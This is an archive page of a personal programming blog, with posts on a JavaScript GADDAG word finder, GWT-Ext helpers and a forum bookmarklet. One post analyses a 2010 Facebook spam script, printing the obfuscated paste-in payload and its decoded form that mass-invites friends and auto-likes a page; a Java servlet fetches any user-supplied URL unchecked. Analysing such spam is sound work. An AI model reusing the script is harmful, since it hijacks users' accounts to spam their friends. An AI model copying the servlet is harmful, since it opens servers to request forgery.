Jan 19 2012

<script src=”gaddag.js” />

Tag: Javascript,Programming,WebAbhijeet Maharana @ 2:45 pm

Words with Friends on Facebook is a recent addiction and I was wondering what it would take to automate the suggestion of valid words given a player’s rack and a letter on the board that the player wants to hook into. A quick search led me to the DAWG and GADDAG data structures which are most commonly used for problems like this. GADDAG is better suited for the Scrabble (or Words with Friends)  situation and is faster than a DAWG based approach even if it requires about 5 times more space on an average.

I spent some time reading Steven Gordon’s paper from 1994 in which he presented the GADDAG data structure. The link is at the end of this post. For understanding how the GADDAG data structure works, let’s look at the Trie (which can be considered a special kind of DAWG) based representation of the words CAR, CARE and CARREL:

In the image, EOW stands for End-of-word. Tracing the paths in the tree, one can arrive at the words represented by the tree. This saves space as it groups words with common prefixes which results in fewer nodes. If someone wants all words starting with ‘C’, they just have to traverse the subtree starting with ‘C’. This tree can also answer queries to find all words with a specific prefix. However, answering queries such as “all words containing E” is not as straightforward. While one can traverse the entire tree looking for subtrees with an ‘E’, it is not efficient and for large trees such as those that store entire dictionaries for word games like Scrabble, the search time would be very high. This is where the GADDAG comes in.

For representing a word, the GADDAG data structure has as many subtrees as letters in that word. In other words, as many subtrees as the number of prefixes in that word. For example, to represent the word CARE, the first subtree would be for C>ARE. Here, C is the prefix and > separates the prefix from the rest of the word. However, the subsequent subtrees would be for AC>RE, RAC>E and ERAC>, where the prefixes “CA”, “CAR” and “CARE” are reversed before being stored in the tree. This is better explained with a diagram:

To reconstruct the word, one reads the letters before > in reverse and the letters appearing after > in correct order. This is the key to GADDAG. For example, to find all words containing an ‘R’, one descends the subtree rooted at R, reads RAC  and reverses it to get CAR and then reads E, appending it to form CARE. Extending this to our original example of CAR, CARE and CARREL, we get the tree shown below.

This is the key to GADDAG. To find all words which contain ‘E’, one just has to descend the subtree rooted at ‘E’.

I wrote a Javascript based implementation of GADDAG which is based on John Resig’s work on Trie. Given our example words CAR, CARE and CARREL, John’s JSON Trie structure looks like:

{
    "C": {
        "A": {
            "R": {
                "$": 0,
                "E": 0,
                "R": {
                    "E": {
                        "L": 0
                    }
                }
            }
        }
    }
}

In this structure, 0 or $:0 is used to indicate EOW. The output JSON gets complicated really fast as the number of words increase. I used Chris Nielsen’s (amazing) JSON visualizer while implementing this. It is an indispensable tool if you do any JSON related work.

The JSON GADDAG output, which is too big to be include in its pretty form, is given below. Graphically, it looks like this.

{{"C":{">":{"A":{"R":{"$":0,"E":0,"R":{"E":{"L":0}}}}}},"A":{"C":{">":{"R":{"$":0,"E":0,"R":{"E":{"L":0}}}}}},"R":{"A":{"C":{">":{"$":0,"E":0,"R":{"E":{"L":0}}}}},"R":{"A":{"C":{">":{"E":{"L":0}}}}}},"E":{"R":{"A":{"C":{">":0}},"R":{"A":{"C":{">":{"L":0}}}}}},"L":{"E":{"R":{"R":{"A":{"C":{">":0}}}}}}}

The Trie “class” looks like this. I modified John’s code to pack the functions I need into one class. John’s blog post contains detailed description of the Trie implementation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// The Trie "class"
function Trie() {
 
    // Structure that actually holds the tree
    var trie = {};
 
    // Adds all words in the array passed as parameter
    this.addAll = function (words) {...}
 
    // Adds one word to the Trie
    this.add = function (word) {...}
 
    // Returns the internal tree structure
    this.getTrie = function () {...}
 
    // Returns all words contained in the Trie
    this.getWords = function () {...}
 
    // Returns the JSON string representation of the tree (like the one I posted above)
    this.getJson = function () {...}
}

Limitation (and a possible improvement) of addAll() is that input array must contain words in ascending order. My Gaddag class inherits from the Trie class.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function Gaddag() {
 
    var separator = ">";
 
    // Adds a word to the GADDAG
    this.add = function (word) {...}
 
    // Finds all words containing a hook letter
    this.findWordsWithHook = function (hook) {...}
 
    // Find all words containing a hook letter which can be formed using the letters in the array passed as rack
    this.findWordsWithRackAndHook = function (rack, hook) {...}
 
    // Splits the input array at index and returns the character at that index and the array minus that character as an object
    this.spliceArray = function (arr, index) {
}
 
// Inherit from Trie
Gaddag.prototype = new Trie();

Adding a word to a GADDAG is only slightly different from adding it to a Trie. However, words containing duplicate letters are added as many times to the tree. This may be required for some queries to work (ones that involve length of prefix as a parameter) but for other cases, just one entry might be sufficient. This is one possible improvement depending on the usage.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    this.add = function (word) {
 
        if (word.length === 0) return;
 
        // add every (reversed-prefix + ">" + suffix) combination 
        for (var i = 1; i < word.length; i++) {
            var prefix, ch;        
            prefix = word.substring(0, i);
            ch = prefix.split('');
            ch.reverse();
 
            // call base class's add() to add this string to the tree
            Gaddag.prototype.add(ch.join('') + separator + word.substring(i));
        }
 
        // add the whole word as prefix
        ch = word.split('');
        ch.reverse();
        Gaddag.prototype.add(ch.join('') + separator + word.substring(i));
    };

The findWordsWithHook(hook) function is shown below. Explanation is inline.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
    this.findWordsWithHook = function (hook) {
        var trie = Gaddag.prototype.getTrie();
 
        // descend down the subtree containing the hook node
        var starterNode = trie[hook];
 
        // output array
        var words = [];
 
        if (typeof starterNode === 'undefined') return;
 
        // recurse through this subtree to collect all words
        dig(hook, starterNode, 'left');
        return words;
 
        /*
                word - word being currently formed
                cur - current node being traversed
                direction - direction of movement ('left' before > and 'right' after >)
        */ 
        function dig(word, cur, direction) {
 
            // for every subtree from current node
            for (var node in cur) {
 
                // get all child nodes
                var val = cur[ node ],
                    ch = (node === separator || node === "$" ? '' : node);
 
                // if we have reached the end of subtree, add complete word to output array
                if (val === 0) {
                    words.push(word + ch);
 
                } else {
 
                    // nodes after > form the suffix so change direction
                    if (node === separator) direction = 'right';
 
                    // add current letter to word
                    var part = (direction === 'left' ? ch + word : word + ch);
 
                    // traverse the remaining nodes to form rest of word
                    dig(part, val, direction);
 
                }
 
                // done with the previous subtree, reset direction to indicate we are in the prefix part of next subtree
                if (node === separator) direction = 'left';
            }
        }
    }

The findWordsWithRackAndHook(rack,hook) function is shown below. It is similar to the above function except that we have to loop through the rack and check if any of the child nodes appear in the rack before descending.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
this.findWordsWithRackAndHook = function (rack, hook) {
    var trie = Gaddag.prototype.getTrie();
    var words = [];
 
    /* To avoid recursing down duplicate characters more than once, sort the array and check whether we have already
     processed a letter before descending the subtree.
     */
    rack.sort();
 
    if (hook === '') {
        // each character in the rack acts as a hook with the following characters as the new rack
        while(rack.length > 1) {
            var h = rack.shift();
            findWordsRecurse("", rack, h, trie, 'reverse');
        }
    }
    else {
        findWordsRecurse("", rack, hook, trie, 'reverse');
    }
 
    return words.unique();
 
    function findWordsRecurse(word, rack, hook, cur, direction) {
        var hookNode = cur[ hook ];
 
        if (typeof hookNode === 'undefined') return;
 
        var hookCh = (hook === separator || hook === "$" ? '' : hook);
        word = (direction === "reverse" ? hookCh + word : word + hookCh);
 
        for (var nodeKey in hookNode) {
            var nodeVal = hookNode[ nodeKey ];
            var nodeCh = (nodeKey === separator || nodeKey === "$" ? '' : nodeKey);
 
            // if we have reached the end of this subtree, add the word (+ last character) to output array
            if (nodeVal === 0) {
                words.push(word + nodeCh);
            } else {
                // if this is the character separating the prefix, change direction and continue recursing
                if (nodeKey === separator) {
                    findWordsRecurse(word, rack, separator, hookNode, 'forward');
                }
                else {
                    processRack(word, rack, nodeKey, hookNode, direction);
                }
            }
        }
    }
 
    // descend down the next subtree that is rooted at any letter in the rack (which is not a duplicate)
    function processRack(word, rack, nodeKey, hookNode, direction) {
        for (var i = 0; i < rack.length; i++) {
            if (nodeKey === rack[i]) {
                var duplicate = (i > 0 ? (rack[i] === rack[i - 1] ? true : false) : false);
                if (!duplicate) {
                    var newRack = rack.slice(0);
                    newRack.remove(i);
                    findWordsRecurse(word, newRack, nodeKey, hookNode, direction);
                }
            }
        }
    }
}

These functions are not as straightforward as the underlying concept of GADDAG appears to be and it took me quite some time to get them working. I will be tweaking the code over the next few days and test it with full dictionaries. The code can be downloaded here. You can either run test-gaddag.js from the prompt using node.js or load test-gaddag.html in the browser.

Update (1/23/2012):
1. Bug fixes
2. Added check for start of game (no hook)
3. Added check to avoid processing duplicate letters in rack more than once

Update (3/27/2013):
James had reported a bug (see comment #10 below) long back. The tree seems to be constructed correctly and the problem was with the traversal code. Specifically lines 37,38 and 39 of findWordsWithRackAndHook.

Replace

37
38
39
            if (nodeVal === 0) {
                words.push(word + nodeCh);
            } else {

with

37
38
39
40
41
42
43
44
            if (nodeVal === 0) {
                if(nodeCh != '' && rack.indexOf(nodeCh) === -1) {
			continue;
		}
		else {
			words.push(word + nodeCh);
		}
            } else {

Before adding the last character to the word, we need to check if it is in the rack. If it is not present in the rack, we skip that character and move to the next one at the same level. I have not updated the downloaded files. Make sure you edit gaddag.js and include this fix.

Thanks for reporting the bug James!


May 14 2010

Latest Facebook Spam

Tag: Javascript,WebAbhijeet Maharana @ 1:59 am

You have seen those Facebook updates that go “***** and ***** like if he/she tells these lies, 99% chance they are cheating on you.” and the like. If you go to the page and do as the page says, you will end up liking the page (automatically) and your friends will receive a “suggestion”. I fell victim too.

After a couple of such updates, it was obvious this is some sort of spam. And it is spreading fast too. I paid attention to the instructions on such pages. CTRL + C, ALT + D, CTRL + V and Enter. So copy & paste something in the address bar and GO. The copied stuff has to be a link … or a script. Sure enough, it is a script. Here is the encoded form:

javascript:(function(){a='app121213611239754_jop';b='app121213611239754_jode';ifc='app121213611239754_ifc';ifo='app121213611239754_ifo';mw='app121213611239754_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('J e=["\n\g\j\g\F\g\i\g\h\A","\j\h\A\i\f","\o\f\h\q\i\f\r\f\k\h\K\A\L\t","\w\g\t\t\f\k","\g\k\k\f\x\M\N\G\O","\n\l\i\y\f","\j\y\o\o\f\j\h","\i\g\H\f\r\f","\G\u\y\j\f\q\n\f\k\h\j","\p\x\f\l\h\f\q\n\f\k\h","\p\i\g\p\H","\g\k\g\h\q\n\f\k\h","\t\g\j\z\l\h\p\w\q\n\f\k\h","\j\f\i\f\p\h\v\l\i\i","\j\o\r\v\g\k\n\g\h\f\v\P\u\x\r","\B\l\Q\l\R\B\j\u\p\g\l\i\v\o\x\l\z\w\B\g\k\n\g\h\f\v\t\g\l\i\u\o\S\z\w\z","\j\y\F\r\g\h\T\g\l\i\u\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();

Lets beautify it a bit using jsbeautifier:

(function () {
    a = 'app121213611239754_jop';
    b = 'app121213611239754_jode';
    ifc = 'app121213611239754_ifc';
    ifo = 'app121213611239754_ifo';
    mw = 'app121213611239754_mwrapper';
    eval(function (p, a, c, k, e, r) {
        e = function (c) {
            return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
        };
        if (!''.replace(/^/, String)) {
            while (c--) r[e(c)] = k[c] || e(c);
            k = [function (e) {
                return r[e]
            }];
            e = function () {
                return '\w+'
            };
            c = 1
        };
        while (c--) if (k[c]) p = p.replace(new RegExp('\b' + e(c) + '\b', 'g'), k[c]);
        return p
    }('J e=["\n\g\j\g\F\g\i\g\h\A","\j\h\A\i\f","\o\f\h\q\i\f\r\f\k\h\K\A\L\t","\w\g\t\t\f\k","\g\k\k\f\x\M\N\G\O","\n\l\i\y\f","\j\y\o\o\f\j\h","\i\g\H\f\r\f","\G\u\y\j\f\q\n\f\k\h\j","\p\x\f\l\h\f\q\n\f\k\h","\p\i\g\p\H","\g\k\g\h\q\n\f\k\h","\t\g\j\z\l\h\p\w\q\n\f\k\h","\j\f\i\f\p\h\v\l\i\i","\j\o\r\v\g\k\n\g\h\f\v\P\u\x\r","\B\l\Q\l\R\B\j\u\p\g\l\i\v\o\x\l\z\w\B\g\k\n\g\h\f\v\t\g\l\i\u\o\S\z\w\z","\j\y\F\r\g\h\T\g\l\i\u\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);', 62, 69, '||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'), 0, {}))
})();

Couple of variable declarations and somewhere in there there is “eval(function(p,a,c,k,e,r)” which means this Javascript is packed using Dean Edwards’ packer. So lets unpack it using this tool.

var _0x95ea = ["x76x69x73x69x62x69x6Cx69x74x79", "x73x74x79x6Cx65", "x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64", "x68x69x64x64x65x6E", "x69x6Ex6Ex65x72x48x54x4Dx4C", "x76x61x6Cx75x65", "x73x75x67x67x65x73x74", "x6Cx69x6Bx65x6Dx65", "x4Dx6Fx75x73x65x45x76x65x6Ex74x73", "x63x72x65x61x74x65x45x76x65x6Ex74", "x63x6Cx69x63x6B", "x69x6Ex69x74x45x76x65x6Ex74", "x64x69x73x70x61x74x63x68x45x76x65x6Ex74", "x73x65x6Cx65x63x74x5Fx61x6Cx6C", "x73x67x6Dx5Fx69x6Ex76x69x74x65x5Fx66x6Fx72x6D", "x2Fx61x6Ax61x78x2Fx73x6Fx63x69x61x6Cx5Fx67x72x61x70x68x2Fx69x6Ex76x69x74x65x5Fx64x69x61x6Cx6Fx67x2Ex70x68x70", "x73x75x62x6Dx69x74x44x69x61x6Cx6Fx67"];
 
d = document;
d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]] = _0x95ea[3];
d[_0x95ea[2]](a)[_0x95ea[4]] = d[_0x95ea[2]](b)[_0x95ea[5]];
 
s = d[_0x95ea[2]](_0x95ea[6]);
m = d[_0x95ea[2]](_0x95ea[7]);
c = d[_0x95ea[9]](_0x95ea[8]);
 
c[_0x95ea[11]](_0x95ea[10], true, true);
s[_0x95ea[12]](c);
 
setTimeout(function () {
	fs[_0x95ea[13]]()
}, 5000);
 
setTimeout(function () {
	SocialGraphManager[_0x95ea[16]](_0x95ea[14], _0x95ea[15])
}, 5000);
 
setTimeout(function () {
	m[_0x95ea[12]](c);
	d[_0x95ea[2]](ifo)[_0x95ea[4]] = d[_0x95ea[2]](ifc)[_0x95ea[5]]
}, 5000);

The array _0x95ea contains hex coded strings. To find out what they mean, we just use an alert

alert(_0x95ea.join(','));

Those are your strings. Go back and replace them in the array.

var _0x95ea = ["visibility", 
	"style", 
	"getElementById", 
	"hidden", 
	"innerHTML", 
	"value", 
	"suggest", 
	"likeme", 
	"MouseEvents", 
	"createEvent", 
	"click", 
	"initEvent", 
	"dispatchEvent", 
	"select_all", 
	"sgm_invite_form", 
	"/ajax/social_graph/invite_dialog.php", 
	"submitDialog"];

Now replace the array references and variable declarations in the code that follows. So

d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]] = _0x95ea[3];

becomes

document['getElementById']('app121213611239754_mwrapper')['style']['visibility'] = 'hidden';

which is same as

document.getElementById('app121213611239754_mwrapper').style.visibility = 'hidden';

The final code looks like this.

// hide the div that shows the CTRL + C etc. animation
document.getElementById('app121213611239754_mwrapper').style.visibility = hidden;
 
// copy code from a hidden text area to a div to create the suggest and likeme nodes
document.getElementById('app121213611239754_jop').innerHTML = document.getElementById('app121213611239754_jode').value;
 
s = document.getElementById('suggest');
m = document.getElementById('likeme');
c = document.createEvent('MouseEvents');
 
c.initEvent('click', true, true);
s.dispatchEvent(c);
 
setTimeout(function () {
	fs.select_all()
}, 5000);
 
setTimeout(function () {
	SocialGraphManager.submitDialog('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
}, 5000);
 
setTimeout(function () {
	m.dispatchEvent(c);
	document.getElementById(ifo).innerHTML = document.getElementById(ifc).value
}, 5000);

‘app121213611239754_jode’ is a hidden text area which contains following code

<div class=​"suggestdiv">​
<a id=​"suggest" href=​"#" ajaxify=​"/​ajax/​social_graph/​invite_dialog.php?class=FanManager&​node_id=115065838533943" class=​" profile_action actionspro_a" rel=​"dialog-post">​Suggest to Friends​</a>​
</div>​
<div class=​"likemediv">​
<a ajaxify=​"/​ajax/​pages/​fan_status.php?fbpage_id=115065838533943&​add=1&​reload=0&​preserve_tab=1&​use_primer=1" id=​"likeme" rel=​"async-post" class=​"UIButton UIButton_Gray UIButton_CustomIcon UIActionButton" href=​"#">​
<span class=​"UIButton_Text">​
<i class=​"UIButton_Icon img spritemap_icons sx_icons_like">​</i>​
"Like"
</span>​
</a>​
</div>​

This code is copied to the outer DIV which creates the “suggest” and “likeme” links. Using the timeouts, suggest link is clicked, all friends are selected and invitations are sent. Then you end up liking the page.

Neat!


May 05 2010

Forum thread collapser using jQuery

Tag: Javascript,jQuery,Programming,WebAbhijeet Maharana @ 5:43 pm

Sometimes when viewing a large forum thread, it would be great if you could highlight all posts by a particular user in that thread. While there might be server side plugins for the various forum software bundles available, the admins may not like the idea of installing them unless requested by a large number of users. I went ahead and wrote a script that does this by manipulating the DOM on the client. Again, such functionality is best implemented as a plugin for the forum software itself. But this is a handy script nevertheless.

It is implemented as a bookmarklet which you can drag to your bookmarks toolbar. When browsing a particular thread, select the username whose posts you want to browse and click the bookmark. It will collapse posts by other users so that posts by the user you are interested in will stand out. Other posts can be expanded/collapsed if needed. If you do not select any username, the bookmarklet will prompt for it. In your user control panel for that forum, you can change the visible posts to the maximum available and then use this to quickly go through the posts that contains answers.

There are many forum hosting software available such as MyBB, vBulletin etc. and each has its own layout of rendering posts. Further, within each, there are themes that modify the post layout. Some display the post metadata to the left while some display it above the post. Browsing through various MyBB based forums, I found that there are mainly 2 types of themes that render post metadata to the left. Both look same. Difference is in the DOM structure. First type uses a big table and individual rows for each post. Second type uses divs and nested tables for each row. A generic script to handle all forum types and variants will require some more work than what I am posting here. This script works with a subset: MyBB based forums with themes of first type.

Here is the bookmarklet: Thread collapser. There will be a slight delay when you run this first time. I adapted the jQuerify bookmarklet by Karl Swedberg to inject jQuery into the DOM and then execute our function when jQuery has been loaded successfully. It loads jQuery from Google CDN and once that is cached locally, you won’t notice the delay. Here is the complete script.

Here is a short description of how it works. I am only posting the body for startScript() which is where all our code resides. We start off by getting hold of the user selection on the page – which is supposed to be the post author. If there is no selection, it prompts for the author.

1
2
3
4
5
6
7
8
var author = getSelectedText();
if(author == '')
        author = prompt('Screen name?');
 
if(author == null || author == '')
        return false;
 
author = author.trim().toLowerCase();

Then we get hold of all the posts on the page and check if there is any post by that particular author. The selectors are fairly straightforward if you revisit the DOM structure of the template type that we are handling. Within each post TR, the first TD holds the post metadata. Post author is within an A element which points to the profile page (member.php with an UID). We iterate through all the post authors and mark a true for each one that matches what we are looking for. After the loop, we check how many true values we have.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var postRows = jQuery('div#container div#content table:first')  // get post table
        .children() // get tbody
        .children() // get trs
        .not('tr:has(td.trow_sep)') // remove post separators
        .not(':odd')    // remove post footer that has links
        .slice(1,-1);   // remove table header and footer
 
var numPostsByAuthor = jQuery('td:first a[href^=member.php]', postRows).map(
        function(){
                if(jQuery(this).text().toLowerCase() == author)
                    return true;
                else
                    return null;
        }
).size();
 
if(numPostsByAuthor == 0)
{
        alert('There are no posts by "' + author + '" on this page.');
        return false;
}

If there are posts by our author, we iterate again – collapsing posts by other authors and attaching click handlers to let the user expand them if needed (like when a post refers to a post above but hasn’t quoted it).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
postRows.each(function(){
        var postAuthor = jQuery('td:first a[href^=member.php]',this).text().toLowerCase();
        if(author != postAuthor)
        {
            var currRow = jQuery(this);
            var nextRow = currRow.next();
 
            currRow.hide();
            var nextClass = nextRow.find('td:first').attr('class');
 
            var nextRowCol1 = jQuery('<td class="' + nextClass + ' smalltext">' + postAuthor + '</td>');
            var nextRowCol2 = jQuery('<td class="' + nextClass + '">[+]</td>');
            nextRow.html('');
            nextRow.append(nextRowCol1, nextRowCol2);
            nextRow.css('cursor','pointer');
 
            nextRow.toggle(function(){
                currRow.show();
                nextRow.css('font-weight','bold');
                nextRowCol2.html('[-]');
            }, function(){
                currRow.hide();
                nextRowCol2.html('[+]');
            });
        }
});

When a post is collapsed, its footer is updated with the post author and a [+] mark next to it. When this post is expanded, the footer is made bold to indicate this has been seen and the [+] turns into a [-]. Here is the output when I tested it on http://www.gfx-depot.com/forum/throw-something-at-the-person-above-you-t-1003.html.


Oct 07 2008

GWT-Ext Combo helper method

Tag: Ext,Gwt,Java,Javascript,ProgrammingAbhijeet Maharana @ 10:25 pm

While working with a GWT-Ext application, I found that most of the Combo boxes used are just meant to be readonly drop down lists. Like the style 2 combo boxes we had in VB. A 2D array with display and value fields is all that is needed. Yet, every combo needs 6-7 lines to get going.

This utility method may be handy in such situations:

public static ComboBox getDropDownCombo(Object[][] data, String fieldLabel, String emptyText, int width, int listWidth)
{
	Store store = new SimpleStore(new String[]{"display", "value"}, data);
	ComboBox combo = new ComboBox();
	combo.setEditable(false);
	combo.setStore(store);
	combo.setDisplayField("display");
	combo.setValueField("value");
	combo.setMode(ComboBox.LOCAL);
	combo.setTriggerAction(ComboBox.ALL);
 
	if(fieldLabel != null)
		combo.setFieldLabel(fieldLabel);
	else
		combo.setHideLabel(true);
 
	if(width != -1)
		combo.setWidth(width);
 
	if(listWidth != -1)
		combo.setListWidth(listWidth);
 
	if(emptyText != null)
		combo.setEmptyText(emptyText);
	else
		// if there is no empty text, select the first value by default
		combo.setValue(data[0][1].toString());
 
	return combo;
}

Sample usage could be:

String[][] data = {{ "Mark as read", "1"}, {"Mark as unread", "2"}, {"Add star", "3"}, {"Remove star", "4"}};
ComboBox cmbMin = UIHelper.getDropDownCombo(data, "Actions", "[Select]", 275, -1);

Sep 28 2008

GWT-Ext and jQuery input mask plugin

Tag: Ext,Gwt,Java,Javascript,Programming,WebAbhijeet Maharana @ 1:59 am

Yesterday, while dabbling with jQuery and getting amazed by the wealth of plugins and effects available for this library, I came across http://digitalbush.com/2008/07/31/masked-input-plugin-114/. It allows you to fit text fields with an input mask to allow only fixed-width input in a certain format. I had seen it first in MS Access a long long time ago.

To use it with GWT-Ext, include jquery.js and jquery.maskedinput.js in your host HTML file. Use <script></script> and not <script/> to avoid wasting time later.

<script language = "javascript" type="text/javascript" src="js/jquery.js" ></script>
<script language = "javascript" type="text/javascript" src="js/jquery.maskedinput.js" ></script>

Now write some native code to call the plugin’s methods:

private native void addPlaceholder(String placeholder, String maskString) /*-{
	$wnd.$.mask.addPlaceholder(placeholder, maskString);
}-*/;
 
private native void mask(String id, String maskString, String placeholderString) /*-{
	if(placeholderString != null)
		$wnd.$('#' + id).mask(maskString, {placeholder:placeholderString});
	else
		$wnd.$('#' + id).mask(maskString);
}-*/;

Add the mask to a text field:

addPlaceholder("~", "[+-]");
textField.doOnRender(new Function(){
	public void execute() {
		mask(textField.getId(), "Rs. ~9999.99/-", " ");
	}
});

This will only allow values of the type “Rs. +2345.50/-” with “Rs. ” and “/-” already filled in for the user.

Update: See this: http://gwt-ext.com/forum/viewtopic.php?f=9&t=2984. Thanks mdeg and vanderbill!


Jun 04 2008

Gwt-Ext Custom Reader

Tag: Ext,Gwt,Java,Javascript,Programming,WebAbhijeet Maharana @ 11:36 pm

Screenshot

If I had to populate a Gwt-Ext store with data in arbitrary format,

  1. I could parse data on the client and use a MemoryProxy + ArrayReader or

  2. I could have the server do the parsing and send JSON data to the client which could then be handled by a JsonReader for populating the store.

This thread at Gwt-Ext.com made me wonder if a good third option would be to have a reader that can be used directly with the store and proxy mechanism and that allows one to write parsing logic in Java on the client. I have attempted a CustomReader that does just that. You can use it with a proxy that fetches remote data.

CustomReader registers an Ext user extension of the same name. Ill refer to them as JavaCustomReader and JSCustomReader to avoid confusion. JavaCustomReader has a static method for registering the user extension.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
...
static {
	init();
}
...
private static native void init()/*-{
	$wnd.Ext.namespace("GwtExt");
 
        $wnd.GwtExt.CustomReader = function(meta, recordType, readerInstance) {
	      	meta = meta || {};
	       	this.readerInstance = readerInstance;
	        $wnd.GwtExt.CustomReader.superclass.constructor.call(this);
	};
 
	$wnd.Ext.extend($wnd.GwtExt.CustomReader, $wnd.Ext.data.DataReader, {
	      	read : function(response){
	       		return this.readerInstance.@com.maharana.gwtextcustomreader.client.CustomReader::read(Lcom/google/gwt/core/client/JavaScriptObject;)(response);
	        	},
 
        	readRecords : function(o){
			alert('Custom reader does not work with local data.');
        	}
        });
}-*/;

JSCustomReader is passed one additional parameter when it is instantiated. This parameter is a reference to the JavaCustomReader that created it.

1
2
3
protected native JavaScriptObject create(JavaScriptObject config, JavaScriptObject recordDef)/*-{
	return new $wnd.GwtExt.CustomReader(config, recordDef, this);
}-*/;

JSCustomReader’s read() method is called by a proxy which has finished loading remote data. The proxy expects a return object with the success status, total record count and actual records as its fields. JSCustomReader invokes JavaCustomReader.read() which looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public JavaScriptObject read(JavaScriptObject response) {
	ReaderResult r = handleRemoteResponse(new RemoteResponse(response));
	JavaScriptObject o = JavaScriptObjectHelper.createObject();
 
	JavaScriptObjectHelper.setAttribute(o, "success", r.success);
 
	JavaScriptObject[] jsRecords = new JavaScriptObject[r.records.length];
	for(int i =0; i<r.records.length;i++)
		jsRecords[i] = r.records[i].getJsObj();
 
	JavaScriptObjectHelper.setAttribute(o, "records", JavaScriptObjectHelper.convertToJavaScriptArray(jsRecords));
	JavaScriptObjectHelper.setAttribute(o, "totalRecords", r.records.length);
 
	return o;
}
 
// subclass and put your parsing logic here
public abstract ReaderResult handleRemoteResponse(RemoteResponse remoteResponse);

In turn, it handles the to/from JavaScriptObject stuff and calls handleRemoteResponse(). Users just need to provide their parsing code in this method in derived classes. RemoteResponse and ReaderResult are convenience classes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class RemoteResponse {
	JavaScriptObject response;
 
	public RemoteResponse(JavaScriptObject response) {
		this.response = response;
	}
	public String getResponseText() {
		return JavaScriptObjectHelper.getAttribute(response, "responseText");
	}
	public String getResponseXML() {
		return JavaScriptObjectHelper.getAttribute(response, "responseXML");
	}
}
 
class ReaderResult {
	public final boolean success;
	public final Record[] records;
 
	public ReaderResult(boolean success, Record[] records) {
		this.success = success;
		this.records = records;
	}
}

This completes CustomReader. As an example, I made a simple CSV parsing reader as mentioned in that thread at Gwt-Ext.com. This reader gets stock quotes from Yahoo finance as a CSV file and creates records out of them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
RecordDef recordDef = new RecordDef(  
	new FieldDef[]{  
        	new StringFieldDef("name"),
                new StringFieldDef("lasttrdate"),
                new StringFieldDef("lasttrval")
        }
); 
 
CustomReader c = new CustomReader(recordDef,1){
       	 public ReaderResult handleRemoteResponse(RemoteResponse remoteResponse) {
 
       		String csvalue = remoteResponse.getResponseText();
 
       		String[] lines = csvalue.split("n");
       		Record[] records = new Record[lines.length];
 
       		for(int i=0; i<lines.length; ++i)
       		{
       			String[] columns = lines[i]. replace('"', ' ').split(",");
       			records[i] = this.recordDef.createRecord(columns);
       		}
 
       		return new ReaderResult(true, records);
       	}
};

For getting the file from Yahoo, I made a utility Servlet Redirect.java which fetches the contents of a url and passes it to the client.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
	String queryString = request.getQueryString();
	String address = queryString.split("url=")[1];
	URL url = new URL(address);
 
	PrintStream out = new PrintStream(response.getOutputStream());
	String inputLine = "";
	BufferedReader br = new BufferedReader(new InputStreamReader(url.openStream()));
	while((inputLine = br.readLine()) != null)
	{
		// System.out.println(inputLine);
		out.println(inputLine);
	}
 
	out.close();
}

